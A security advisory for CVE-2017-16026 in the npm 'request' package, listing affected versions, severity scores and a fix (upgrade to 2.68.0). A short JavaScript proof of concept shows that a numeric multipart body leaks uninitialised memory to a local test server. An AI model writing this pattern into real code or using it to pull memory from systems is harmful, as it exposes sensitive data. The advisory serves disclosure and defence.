CVE-2017-16026 – request

Package

Manager: npm
Name: request
Vulnerable Version: >=2.49.0 <2.68.0 || >=2.2.6 <2.68.0

Severity

Level: Medium

CVSS v3.1: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00863 pctl0.74228

Details

Remote Memory Exposure in request Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body. ## Proof of Concept ```js var request = require('request'); var http = require('http'); var serveFunction = function (req, res){ req.on('data', function (data) { console.log(data) }); res.end(); }; var server = http.createServer(serveFunction); server.listen(8000); request({ method: "POST", uri: 'http://localhost:8000', multipart: [{body:500}] },function(err,res,body){}); ``` ## Recommendation Update to version 2.68.0 or later

Metadata

Created: 2018-11-09T17:44:01Z
Modified: 2023-09-12T18:48:46Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/11/GHSA-7xfp-9c55-5vqj/GHSA-7xfp-9c55-5vqj.json
CWE IDs: ["CWE-201"]
Alternative ID: GHSA-7xfp-9c55-5vqj
Finding: F017
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